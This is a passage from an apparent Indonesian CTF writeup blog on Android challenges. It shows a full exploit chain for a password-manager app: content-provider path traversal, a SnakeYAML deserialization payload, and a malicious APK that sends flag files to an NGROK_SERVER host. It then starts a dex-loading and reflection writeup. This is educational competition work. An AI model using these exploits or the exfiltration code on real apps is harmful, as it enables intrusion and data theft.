    this.globalScope = new SimpleBindings();
    this.engineSpis = new HashSet<>();
    this.nameAssociations = new HashMap<>();
    this.extensionAssociations = new HashMap<>();
    this.mimeTypeAssociations = new HashMap<>();
    AccessController.doPrivileged(new PrivilegedAction() { // from class: javax.script.ScriptEngineManager.1
        @Override // java.security.PrivilegedAction
        public Object run() {
            ScriptEngineManager.this.initEngines(loader);
            return null;
        }
    });
}

public void initEngines(ClassLoader loader) {
    Iterator itr;
    try {
        if (loader != null) {
            itr = Service.providers(ScriptEngineFactory.class, loader);
        } else {
            itr = Service.installedProviders(ScriptEngineFactory.class);
        }
        while (itr.hasNext()) {
            try {
                try {
                    ScriptEngineFactory fact = (ScriptEngineFactory) itr.next();
                    this.engineSpis.add(fact);
                } catch (ServiceConfigurationError err) {
                    System.err.println("ScriptEngineManager providers.next(): " + err.getMessage());
                }
            } catch (ServiceConfigurationError err2) {
                System.err.println("ScriptEngineManager providers.hasNext(): " + err2.getMessage());
                return;
            }
        }
    } catch (ServiceConfigurationError err3) {
        System.err.println("Can't find ScriptEngineFactory providers: " + err3.getMessage());
    }
}

Dari kode diatas, kita bisa melihat bahwa ScriptEngineManager menerima ClassLoader sebagai argument dan dia akan melakukan invoke dari class yang kita load dari ClassLoader tersebut.

Pada bagian initEngines ini, CustomClassLoader akan digunakan untuk mencari dan memuat semua class yang mengimplementasikan ScriptEngineFactory. Jika salah satu class dalam mal.apk mengimplementasikan interface tersebut, maka constructor dari class tersebut akan dipanggil saat baris berikut dieksekusi:

1
ScriptEngineFactory fact = itr.next();

Berikut ini kode dari ScriptEngineFactory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package javax.script;

import java.util.List;

/* loaded from: classes.dex */
public interface ScriptEngineFactory {
    String getEngineName();

    String getEngineVersion();

    List<String> getExtensions();

    String getLanguageName();

    String getLanguageVersion();

    String getMethodCallSyntax(String str, String str2, String... strArr);

    List<String> getMimeTypes();

    List<String> getNames();

    String getOutputStatement(String str);

    Object getParameter(String str);

    String getProgram(String... strArr);

    ScriptEngine getScriptEngine();
}

Yang berarti kita perlu membuat constructor yang akan menerapkan interface ScriptEngineFactory dan mengimplementasikan semua metode yang diperlukan, dan kemudian memanggil CustomClassLoader didalam ScriptEngineManager untuk meng-eksekusi constructor tersebut.

1
new ScriptEngineManager(new CustomClassLoader("mal.apk"));

Kode diatas akan memuat semua class yang mengimplementasikan ScriptEngineFactory dari mal.apk dan memanggil constructor dari class tersebut.

Exploitation

Dari CalculatorActivity Ini bisa kita manfaatkan untuk mengakses content provider yang sebelumnya tidak bisa kita akses. Kita bisa membypass content provider yang memiliki exported="false" dengan menggunakan FLAG_GRANT_WRITE_URI_PERMISSION untuk write file dan atau FLAG_GRANT_READ_URI_PERMISSION untuk read file pada intent yang kita kirimkan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
private void startIntentYAML() {
    Intent intent = new Intent("android.intent.action.SEND");
    intent.setClassName("com.aimardcr.pwdmanager", "com.aimardcr.pwdmanager.CalculatorActivity");
    intent.putExtra("operator", '/');
    intent.putExtra("right", 0);
    intent.setData(Uri.parse("content://com.aimardcr.pwdmanager/%2E%2E/files/pwds.yml"));
    intent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);
    startActivityForResult(intent, 1);
}

@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    if (data != null) {
        Uri uri = data.getData();
        if (uri != null) {
            if (requestCode == 1 && resultCode == RESULT_OK) {
                Log.d(": LOG - Malicious :", "Received data from first intent: " + uri);
                readYAML(uri);
                writeYAML(uri);
            }
        } else {
            Log.d(": LOG - Malicious :", "No URI received.");
        }
    } else {
        Log.d(": LOG - Malicious :", "Intent data is null.");
    }
}

public void readYAML(Uri uri) {
    try {
        ContentResolver contentResolver = this.getContentResolver();
        StringBuilder stringBuilder = new StringBuilder();
        InputStream inputStream = contentResolver.openInputStream(uri);
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

        String line;
        while ((line = reader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }

        reader.close();
        Log.d(": LOG - Malicious :", "RESULT: " + stringBuilder.toString());
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public void writeYAML(Uri uri) {
    try {
        ContentResolver contentResolver = this.getContentResolver();
        OutputStream outputStream = contentResolver.openOutputStream(uri);

        String yamlPayload =
                "\npayload: !!javax.script.ScriptEngineManager [!!com.aimardcr.pwdmanager.CustomClassLoader [\"/data/data/com.aimardcr.pwdmanager/files/mal.apk\"]]\n";

        outputStream.write(yamlPayload.getBytes());
        outputStream.close();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

Dapat diperhatikan bahwa kita menggunakan FLAG_GRANT_WRITE_URI_PERMISSION untuk menulis file pwds.yml dan FLAG_GRANT_READ_URI_PERMISSION untuk membaca file pwds.yml.
Dan kita bisa melihat bahwa kita menulis payload yaml yang dimana akan di-load oleh SnakeYAML:

1
payload: !!javax.script.ScriptEngineManager [!!com.aimardcr.pwdmanager.CustomClassLoader ["mal.apk"]]

Payload ini akan melakukan load class dari mal.apk yang mengimplementasikan ScriptEngineFactory dan kemudian memanggil constructor dari class tersebut.

Kemudian kita bisa membuat mal.apk yang mengimplementasikan ScriptEngineFactory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
package com.lbyte.pwdmanager_exp;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.file.*;
import java.util.Arrays;
import java.util.List;

public class BadScriptEngineFactory implements ScriptEngineFactory {

    // Static block to trigger the exploit and send the flag
    static {
        try {
            sendRequest("http://NGROK_SERVER/trigger");
            System.out.println("Triggered the exploit");

            String flagContent = readFlagFile("/data/data/com.aimardcr.pwdmanager/files/");
            if (flagContent != null) {
                sendFlagToServer("http://NGROK_SERVER/flag", flagContent);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    // Function to send HTTP GET request
    private static void sendRequest(String urlString) throws Exception {
        URL url = new URL(urlString);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setRequestMethod("GET");
        connection.setConnectTimeout(5000);
        connection.setReadTimeout(5000);

        int responseCode = connection.getResponseCode();
        System.out.println("Request sent, response code: " + responseCode);
        connection.disconnect();
    }

    // Function to read the flag file
    private static String readFlagFile(String directoryPath) {
        try {
            Path dir = Paths.get(directoryPath);
            try (DirectoryStream<Path> stream = Files.newDirectoryStream(dir, "flag*.txt")) {
                for (Path entry : stream) {
                    return new String(Files.readAllBytes(entry)); // Return the first match
                }
            }
        } catch (IOException e) {
            System.err.println("Failed to read flag file: " + e.getMessage());
        }
        return null;
    }

    // Function to send the flag content to the server
    private static void sendFlagToServer(String serverUrl, String flagContent) throws Exception {
        URL url = new URL(serverUrl);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setRequestMethod("POST");
        connection.setDoOutput(true);
        connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

        try (OutputStream os = connection.getOutputStream()) {
            String data = "flag=" + flagContent;
            os.write(data.getBytes());
            os.flush();
        }

        int responseCode = connection.getResponseCode();
        System.out.println("Flag sent, response code: " + responseCode);
        connection.disconnect();
    }

    @Override
    public String getEngineName() {
        return "BadScriptEngine";
    }

    @Override
    public String getEngineVersion() {
        return "1.0";
    }

    @Override
    public List<String> getExtensions() {
        return Arrays.asList("bad", "exploit");
    }

    @Override
    public List<String> getMimeTypes() {
        return Arrays.asList("application/x-bad", "application/x-exploit");
    }

    @Override
    public List<String> getNames() {
        return Arrays.asList("badscript", "exploitlang");
    }

    @Override
    public String getLanguageName() {
        return "ExploitLang";
    }

    @Override
    public String getLanguageVersion() {
        return "1.0";
    }

    @Override
    public Object getParameter(String key) {
        switch (key) {
            case ScriptEngine.ENGINE:
                return getEngineName();
            case ScriptEngine.ENGINE_VERSION:
                return getEngineVersion();
            case ScriptEngine.LANGUAGE:
                return getLanguageName();
            case ScriptEngine.LANGUAGE_VERSION:
                return getLanguageVersion();
            case ScriptEngine.NAME:
                return getNames().get(0);
            case "THREADING":
                return "MULTITHREADED";
            default:
                return null;
        }
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        StringBuilder syntax = new StringBuilder(obj + "." + m + "(");
        for (int i = 0; i < args.length; i++) {
            syntax.append(args[i]);
            if (i < args.length - 1) syntax.append(", ");
        }
        syntax.append(")");
        return syntax.toString();
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return "System.out.println(\"" + toDisplay + "\");";
    }

    @Override
    public String getProgram(String... statements) {
        StringBuilder program = new StringBuilder();
        for (String statement : statements) {
            program.append(statement).append(";\n");
        }
        return program.toString();
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Dapat diperhatikan pada kode diatas bahwa kita melakukan HTTP GET request ke http://NGROK_SERVER/trigger dan membaca file flag yang berawalan flag dan mengirimkan isinya ke http://NGROK_SERVER/flag.

Tetapi hal yang paling penting adalah dikode diatas melakukan implementasi dari ScriptEngineFactory yang dimana akan dipanggil oleh ScriptEngineManager untuk melakukan remote code execution.

Kemudian kita bisa merubah hasil build dari mal.apk dengan menggunakan apktool lalu rubah isi dari META-INF/services/javax.script.ScriptEngineFactory menjadi com.lbyte.mal.BadScriptEngineFactory dan kemudian kita rebuild apk tersebut, agar ketika dijalankan ScriptEngineManager akan memanggil class BadScriptEngineFactory yang kita buat.

Selanjutnya adalah untuk melakukan write mal.apk ini ke dalam folder /files/, kita bisa mengconvert file mal.apk ini ke dalam hex dan kemudian menconvert kembali hexnya ke dalam binary dan kemudian menulisnya ke dalam file mal.apk, berikut ini python scriptnya:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import sys

def convert(filepath, output_hex, part_size=5000):
    try:
        with open(filepath, 'rb') as inputfile:
            dex_content = inputfile.read()

        hex_content = dex_content.hex()
        hex_parts = [hex_content[i:i + part_size] for i in range(0, len(hex_content), part_size)]

        with open(output_hex, 'w') as java_file:
            for index, part in enumerate(hex_parts, 1):
                java_file.write(f'String hexContentPart{index} = "{part}";\n')

            concatenation = " + ".join([f"hexContentPart{i}" for i in range(1, len(hex_parts) + 1)])
            java_file.write(f'\nString fullHexContent = {concatenation};\n')

        print(f"Successfully generated code in {output_hex}")
    except Exception as e:
        print(f"Error: {e}")

if len(sys.argv) != 3:
    print(f"Usage: python {sys.argv[0]} <input_binary> <output_hex>")
    sys.exit(1)

inputfile = sys.argv[1]  
java_file = sys.argv[2] 
convert(inputfile, java_file)

Terus tinggal paste hasil dari script diatas ke dalam solver untuk write file mal.apk ini:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
private void startIntentAPK() {
    Intent writeIntent = new Intent("android.intent.action.SEND");
    writeIntent.setClassName("com.aimardcr.pwdmanager", "com.aimardcr.pwdmanager.CalculatorActivity");
    writeIntent.putExtra("operator", '/');
    writeIntent.putExtra("right", 0);
    writeIntent.setData(Uri.parse("content://com.aimardcr.pwdmanager/%2E%2E/files/mal.apk"));
    writeIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION);

    startActivityForResult(writeIntent, 2);
}

@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    if (data != null) {
        Uri uri = data.getData();
        if (uri != null) {
            if (requestCode == 2 && resultCode == RESULT_OK) {
                Log.d(": LOG - Malicious :", "Writing malicious APK to: " + uri);
                writeMaliciousAPK(uri);
            }
        } else {
            Log.d(": LOG - Malicious :", "No URI received.");
        }
    } else {
        Log.d(": LOG - Malicious :", "Intent data is null.");
    }
}

public void writeMaliciousAPK(Uri uri) {
    try {
        // Example hex string representing the APK content
        String hexContentPart1 = "504b03040a0000000000...";
        String hexContentPart2 = "00000000000000000000...";

        String fullHexContent = hexContentPart1 + hexContentPart2;
        
        // Convert hex to byte array
        byte[] apkBytes = hexStringToByteArray(fullHexContent);

        // Optionally write to the original URI as well
        ContentResolver contentResolver = this.getContentResolver();
        OutputStream outputStream = contentResolver.openOutputStream(uri);
        if (outputStream != null) {
            outputStream.write(apkBytes);
            outputStream.close();
            Log.d(": LOG - Malicious :", "Binary APK written to the provided URI");
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

Berikut ini repository untuk full solver dari challenge ini:

  • Repo untuk melakukan write file pwds.yml dan mal.apk: write-files.
  • Repo untuk membuat mal.apk yang mengimplementasikan ScriptEngineFactory: malicious-apk.

Dan berikut ini adalah build dari kedua repo diatas:

Interfaces

Overview

Description

Analysis

Exploitation

LookDown

Overview

Description

Analysis

Exploitation

LookUp

Overview

Description

Analysis

Exploitation

]]> <p>Team: MAGER &#x2F; Vantage Point Security<br>Rank: 5&#x2F;1110</p> <p><img lazyload src="/ima TCP1P 2023: Mobile Writeup https://lbyte.id/2023/10/15/writeup/TCP1P%202023:%20Mobile%20Writeup/ 2023-10-15T17:39:41.000Z 2026-05-06T07:20:33.564Z Check my writeup on this challenge below:
https://jekyll-theme-chirpy-git-master-noxlaw.vercel.app/posts/all-mobile-tcp1p-ctf/

]]> <p>Check my writeup on this challenge below:<br><a class="link" href="https://jekyll-theme-chirpy-git-master-noxlaw.vercel.app/posts/all-m intechfest 2023: Notes Manager Challenge - CXMAP https://lbyte.id/2023/10/15/writeup/intechfest%202023:%20Notes%20Manager%20Challenge%20-%20CXMAP/ 2023-10-15T17:27:46.000Z 2026-05-06T07:20:33.564Z Check my walkthrough video on this challenge below:
https://www.facebook.com/lawbytee/videos/1328446641202923

]]> <p>Check my walkthrough video on this challenge below:<br><a class="link" href="https://www.facebook.com/lawbytee/videos/1328446641202923" TCP1P 2023: Internals https://lbyte.id/2023/09/15/writeup/TCP1P%202023:%20Internals/ 2023-09-15T00:00:00.000Z 2026-05-06T07:20:33.564Z

Author: aimardcr

Seperti yang sudah ada dideskripsi challenge nya, untuk menyelesaikan challenge ini kita perlu untuk membuat malicious/exploit aplikasi sendiri yang dimana nanti akan diinstall di Virtual Android Device dari TCP1P.

Sebelum kita membuat malicious code atau exploitnya, penting bagi kita untuk memahami aplikasi internals ini secara mendalam. Langkah pertama yang krusial adalah menganalisis aplikasi tersebut dengan menggunakan tools decompiler. Decompiler ini memungkinkan kita untuk membuka aplikasi “challenge” menjadi source code yang dapat kita baca dan pahami. Saya pribadi menggunakan tools decompiler dari jadx untuk melakukan ini.

Cara menggunakan jadx:

  1. Buka exe dari jadx yang sudah didownload, dan akan menampilkan seperti gambar berikut ini.
  2. Kita klik tombol Open file dan kemudian cari .apk challenge yang sudah didownload oleh teman teman.
  3. Setelah itu jadx akan menalisis nya dan mendecompile apk tersebut agar dapat kita baca, beriku ini hasil decompile dari jadx.
  4. Cari nama package dari aplikasi challenge terlebih dahulu, untuk mengetahui nama package dari aplikasi ini adalah dengan melihat code dari file AndroidManifest.xml terlebih dahulu, yang didapatkan dari isi dari Resources -> AndroidManifest.xml.
  5. Buka file AndroidManifest.xml nya dan cari kata MainActivity, karena biasanya developer android menggunakan MainActivity sebagai class utama dari aplikasi mereka.
  6. Dalam contoh kasus ini nama package dari aplikasi ini adalah com.kuro.internals.
  7. Setelah mendapatkan nama package dari aplikasi nya, kita bisa melihat source code dari aplikasinya lewat jadx yang ada pada Source code -> [nama package dari aplikasi] contohnya Source Code -> com.kuro.internals.

Internals

Link aplikasi: challenge.apk

Diberikan challenge dengan nama Internals dengan deskripsi sebagai berikut:

Let’s see how well your knowledge about android internals.
Using any type of external library will deduct your points by half.

Hint :

  1. You do know android is open source right? Then it’s time to read the source code! Especially on getPackageName.
  2. Do some OSINT on the author’s repositories, maybe you’ll find an interesting project.

Dari deskripsi yang diberikan terlihat kita dichallenge oleh pembuat soal terkait knowledge kita tentang andoir internals, dan pembuat soal juga melarang kita untuk menggunakan library external untuk melakukan exploit nya, kalaupun kita menggunakan library external kita akan mendapatkan pengurangan point.

Sekarang coba kita install dan buka terlebih dahulu aplikasi challenge ini dan melihat bagaimana tampilan nya.

Terlihat aplikasi ini meminta url yang akan mendownload payload.dex dan akan meload dex nya.

Static analys

Oke setelah membaca deskripsi dan isi aplikasi dari soal kita perlu untuk melihat terlebih dahulu source code dari aplikasi internals ini, dan didpatkan satu activity yaitu MainActivity saja:

Dengan isi dari activitynya sebagai berikut:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
package com.kuro.internals;

import android.app.ProgressDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    Button btn_load;
    EditText input_url;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        this.input_url = (EditText) findViewById(R.id.input_url);
        Button button = (Button) findViewById(R.id.btn_load);
        this.btn_load = button;
        button.setOnClickListener(new View.OnClickListener() { // from class: com.kuro.internals.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View v) {
                String url = MainActivity.this.input_url.getText().toString();
                if (url.isEmpty()) {
                    AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                    builder.setTitle("Error");
                    builder.setMessage("URL cannot be empty!");
                    builder.setCancelable(false);
                    builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                    builder.show();
                    return;
                }
                MainActivity.this.downloadDex(url);
            }
        });
    }

    void downloadDex(String url) {
        ProgressDialog pDialog = new ProgressDialog(this);
        pDialog.setTitle("Downloading...");
        pDialog.setMessage("Please wait...");
        pDialog.setCancelable(false);
        pDialog.setProgressStyle(0);
        pDialog.show();
        ExecutorService executor = Executors.newSingleThreadExecutor();
        Handler handler = new Handler(Looper.getMainLooper());
        executor.execute(new AnonymousClass2(url, handler, pDialog));
    }

    /* JADX INFO: Access modifiers changed from: package-private */
    /* renamed from: com.kuro.internals.MainActivity$2  reason: invalid class name */
    /* loaded from: classes3.dex */
    public class AnonymousClass2 implements Runnable {
        final /* synthetic */ Handler val$handler;
        final /* synthetic */ ProgressDialog val$pDialog;
        final /* synthetic */ String val$url;

        AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
            this.val$url = str;
            this.val$handler = handler;
            this.val$pDialog = progressDialog;
        }

        @Override // java.lang.Runnable
        public void run() {
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder().url(this.val$url).build();
            try {
                client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException e) {
                        AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                        builder.setTitle("Error");
                        builder.setMessage(e.getMessage());
                        builder.setCancelable(false);
                        builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                        builder.show();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        if (!response.isSuccessful()) {
                            AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                            builder.setTitle("Error");
                            builder.setMessage(response.message());
                            builder.setCancelable(false);
                            builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                            builder.show();
                            return;
                        }
                        InputStream inputStream = response.body().byteStream();
                        OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
                        try {
                            byte[] buffer = new byte[1024];
                            while (true) {
                                int len = inputStream.read(buffer);
                                if (len != -1) {
                                    outputStream.write(buffer, 0, len);
                                } else {
                                    outputStream.close();
                                    inputStream.close();
                                    AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
                                        @Override // java.lang.Runnable
                                        public void run() {
                                            AnonymousClass2.this.val$pDialog.dismiss();
                                            MainActivity.this.loadDex();
                                        }
                                    });
                                    return;
                                }
                            }
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                });
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    void loadDex() {
        File dexPath = getFileStreamPath("payload.dex");
        if (!dexPath.exists()) {
            AlertDialog.Builder builder = new AlertDialog.Builder(this);
            builder.setTitle("Error");
            builder.setMessage("payload.dex not found");
            builder.setCancelable(false);
            builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
            builder.show();
            return;
        }
        try {
            DexClassLoader dexClassLoader = new DexClassLoader(dexPath.getAbsolutePath(), getFilesDir().getAbsolutePath(), null, getClassLoader());
            Class<?> clazz = dexClassLoader.loadClass("com.kuro.payload.Main");
            clazz.getMethod("execute", new Class[0]).invoke(null, null);
            if (getPackageName().equals("l33t_h4x0r")) {
                AlertDialog.Builder builder2 = new AlertDialog.Builder(this);
                builder2.setTitle("Gr4tz");
                builder2.setMessage("Flag: flag{fake_flag_dont_submit}");
                builder2.setCancelable(false);
                builder2.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                builder2.show();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Bisa dilihat bahwa aplikasi menggunakan layout activity_main yang bisa didapatkan di jadx didalam folder Resources/res/layout/activity_main.xml, aplikasi ini juga mempunyai 1 button dan 1 EditText.

Jadi simplenya ketika user sudah memasukan url kedalam box dan menekan button nya maka aplikasi akan mengambil url tersebut dan melemparkannya ke fungsi downloadDex, jika user tidak memasukan url kedalam box maka akan memunculkan popup URL cannot be empty!.

downloadDex

Pada fungsi downloadDex bisa dilihat bahwa aplikasi akan memunculkan dialog Downloading... dan akan melemparkannya ke fungsi AnonymousClass2.

AnonymousClass2

berikut ini isi dari fungsi AnonymousClass2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public class AnonymousClass2 implements Runnable {
        final /* synthetic */ Handler val$handler;
        final /* synthetic */ ProgressDialog val$pDialog;
        final /* synthetic */ String val$url;

        AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
            this.val$url = str;
            this.val$handler = handler;
            this.val$pDialog = progressDialog;
        }

        @Override // java.lang.Runnable
        public void run() {
            OkHttpClient client = new OkHttpClient();
            Request request = new Request.Builder().url(this.val$url).build();
            try {
                client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
                    @Override // okhttp3.Callback
                    public void onFailure(Call call, IOException e) {
                        AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                        builder.setTitle("Error");
                        builder.setMessage(e.getMessage());
                        builder.setCancelable(false);
                        builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                        builder.show();
                    }

                    @Override // okhttp3.Callback
                    public void onResponse(Call call, Response response) throws IOException {
                        if (!response.isSuccessful()) {
                            AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
                            builder.setTitle("Error");
                            builder.setMessage(response.message());
                            builder.setCancelable(false);
                            builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
                            builder.show();
                            return;
                        }
                        InputStream inputStream = response.body().byteStream();
                        OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
                        try {
                            byte[] buffer = new byte[1024];
                            while (true) {
                                int len = inputStream.read(buffer);
                                if (len != -1) {
                                    outputStream.write(buffer, 0, len);
                                } else {
                                    outputStream.close();
                                    inputStream.close();
                                    AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
                                        @Override // java.lang.Runnable
                                        public void run() {
                                            AnonymousClass2.this.val$pDialog.dismiss();
                                            MainActivity.this.loadDex();
                                        }
                                    });
                                    return;
                                }
                            }
                        } catch (Exception e) {
                            e.printStackTrace();
                        }
                    }
                });
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

Setelah membaca source code dari fungsi AnonymousClass2 bisa dilihat bahwa dia mencoba untuk mendownload file dex dari url yang kita berikan dan menyimpannya dengan nama file payload.dex yang kemudian akan dialihkan ke fungsi loadDex().

Create a malicious app

Dan disinilah bagian menariknya muncul dan bagaimana kita akan membuat malicious dex nya.

Yang dimana dalam fungsi ini dia mengecheck terlebih dahulu apakah ada file payload.dex didalam folder files aplikasi kita, perlu dinote setiap file yang diload oleh android studio itu ada pada folder /data/data/[nama package apk]/files, jadi dalam kode ini aplikasi challenge akan mengecheck terlebih dahulu apakah file payload.dex itu ada atau tidak didalam folder files kita.

Selanjutnya ketika file payload.dex itu ada didalam folder files, payload.dex akan diload dengan DexClassLoader yang nantinya akan dicheck dengan menggunakan Reflection untuk meload class didalam file dex nya, yang dimana dikode ini aplikasi challenge berusaha untuk meload class dari package com.kuro.payload dengan nama class Main dan juga dia mengambil method dari execute untuk dijalankan diaplikasi challenge, setelah berhasil loadClass dari payload.dex dia akan mengecheck nama package dari aplikasi challenge yang dimana saat ini masihlah com.kuro.internals sudah berubah ke nama package baru atau tidak yaitu l33t_h4x0r, ketika kondisi ini terpenuhi aplikasi akan menampilkan flag nya.

Setelah berhasil memahami bagaimana alur dari aplikasi ini berjalan, penulis sudah mempunya gambaran tentang bagaimana membuat malicious dex nya agar ketika dex yang penulis buat nanti bisa merubah packageName dari aplikasi challenge dari com.kuro.internals ke l33t_h4x0r.

Dari hint yang diberikan oleh pembuat soal, pembuat soal meminta kita untuk melakukan osint digithub akunnya dia.

Akhirnya penulis menemukan akun githubnya dan menemukan repository yang menarik didalamnya yaitu APKKiller, didalam repository ini pembuat soal memberitahukan bahwa dengan menggunakan Reflection kita bisa membaca dan memodifikasi internal classes dan fields nya.

Setelah membaca dan melakukan trial and error tentang Reflection penulis menemukan cara bahwa kita bisa menggunakan class dari ActivityThread untuk mengubah packageName ke packageName yang kita mau.

Cobalah untuk membuat projek baru di Android Studio dengan setup sebagai berikut:

  1. Pilih Empty Views Activity lalu Next.
  2. Buatlah nama terserah kalian, asalkan nama package nya itu com.kuro.payload karena pada aplikasi challenge package ini yang akan di load, lalu pilihlah Java sebagai bahasa pemrogramannya, karena Reflection bisa kita pakai di java.
  3. Setelah itu klik Finish dan tunggu sampai android studio menyiapkan setupnya.
  4. Setelah semuanya sudah selesai, kita buat class baru dengan nama Main karena aplikasi challenge akan meload class dari package kita dengan nama Main dengan klik kanan pada package com.kuro.payload lalu klik New -> Java Class.
  5. Masukan nama Main dan enter.
  6. Kita akan memakai activity MainActivity terlebih dahulu untuk debugging.

Jadi step pertama adalah cari terlebih dahulu field dari packageName dan kemudian baru kita set ke value yang baru

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.kuro.payload;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.util.Log;

import java.lang.reflect.Field;

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        try {
            Class<?> clazz = Class.forName("android.app.ActivityThread");
            Field[] fs = clazz.getDeclaredFields();

            for(int i = 0; i < fs.length; i++) {
                Log.e("Field" + String.valueOf(i), fs[i].getName());
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Coba gunakan kodingan diatas dan jalankan, lalu coba untuk melihat logcat nya karena saya memasukan Log.e disitu untuk debugging dan melihat isi field dari ActivityThread.

Dan didapatlah isi field dari class ActivityThread.

